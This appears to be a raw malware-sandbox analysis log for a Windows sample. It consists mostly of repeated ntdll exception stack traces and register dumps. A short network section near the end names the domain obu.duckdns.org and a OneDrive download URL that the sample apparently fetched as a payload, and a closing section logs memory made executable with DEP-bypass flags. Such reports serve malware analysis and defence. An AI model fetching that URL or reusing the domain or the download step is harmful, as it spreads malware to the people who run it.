RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2
RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560
RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e
RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7788af21
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632472
registers.edi: 1632568
registers.eax: 23117
registers.ebp: 1632532
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 2005342720
1 0 0

__exception__

 stacktrace: 
RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f
RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7788ada7
RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7788af78
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632604
registers.edi: 1632692
registers.eax: 23117
registers.ebp: 1632664
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 1632512
1 0 0

__exception__

 stacktrace: 
RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2
RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560
RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632728
registers.edi: 1632824
registers.eax: 23117
registers.ebp: 1632788
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 2005446144
1 0 0

__exception__

 stacktrace: 
RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f
RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7787199e
RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7787193e
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632620
registers.edi: 1632708
registers.eax: 23117
registers.ebp: 1632680
registers.edx: 0
registers.ebx: 0
registers.esi: 33751040
registers.ecx: 1632512
1 0 0

__exception__

 stacktrace: 
RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2
RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560
RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e
RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7788af21
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632472
registers.edi: 1632568
registers.eax: 23117
registers.ebp: 1632532
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 2005342720
1 0 0

__exception__

 stacktrace: 
RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f
RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7788ada7
RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7788af78
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632604
registers.edi: 1632692
registers.eax: 23117
registers.ebp: 1632664
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 1632512
1 0 0

__exception__

 stacktrace: 
RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2
RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560
RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632728
registers.edi: 1632824
registers.eax: 23117
registers.ebp: 1632788
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 2005446144
1 0 0

__exception__

 stacktrace: 
RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f
RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7787199e
RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7787193e
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632620
registers.edi: 1632708
registers.eax: 23117
registers.ebp: 1632680
registers.edx: 0
registers.ebx: 0
registers.esi: 33751040
registers.ecx: 1632512
1 0 0

__exception__

 stacktrace: 
RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2
RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560
RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e
RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7788af21
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632472
registers.edi: 1632568
registers.eax: 23117
registers.ebp: 1632532
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 2005342720
1 0 0

__exception__

 stacktrace: 
RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f
RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7788ada7
RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7788af78
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632604
registers.edi: 1632692
registers.eax: 23117
registers.ebp: 1632664
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 1632512
1 0 0

__exception__

 stacktrace: 
RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2
RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560
RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632728
registers.edi: 1632824
registers.eax: 23117
registers.ebp: 1632788
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 2005446144
1 0 0

__exception__

 stacktrace: 
RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f
RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7787199e
RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7787193e
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632620
registers.edi: 1632708
registers.eax: 23117
registers.ebp: 1632680
registers.edx: 0
registers.ebx: 0
registers.esi: 33751040
registers.ecx: 1632512
1 0 0

__exception__

 stacktrace: 
RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2
RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560
RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e
RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7788af21
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632472
registers.edi: 1632568
registers.eax: 23117
registers.ebp: 1632532
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 2005342720
1 0 0
domain obu.duckdns.org
request GET https://onedrive.live.com/download?cid=41EB2B5CC67BFAFB&resid=41EB2B5CC67BFAFB%21279&authkey=AE4lM9-dWDlnk5M
request GET https://uyswsg.dm.files.1drv.com/y4mDeUVi_IF4n8PFxNeS3ZP3N8j30uTCHJOLvt4UywZGTyIo9gzCAm3pU8-8inKsCuYsT0szREzkRjamjs61-CP26B_EOuc1UhW15cjJK3Mibx9pOx8n-QJB_058SuEknw-v6tIhRgf9QjeKr52sBoX66m_zoX51zMCrBb7ANdBhMJJTMrj9y1ts_HCYMI6qWP_w0uucU9U24v1rxfAFjwZ1A/Rzkqpszzdurxnlnajtoxoriqvrktmlz?download&psid=1
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x74682000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2192
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 1
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0018f000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02047000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 8
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020364e4
process_handle: 0xffffffff
3221225477 0

NtProtectVirtualMemory

 process_identifier: 2192
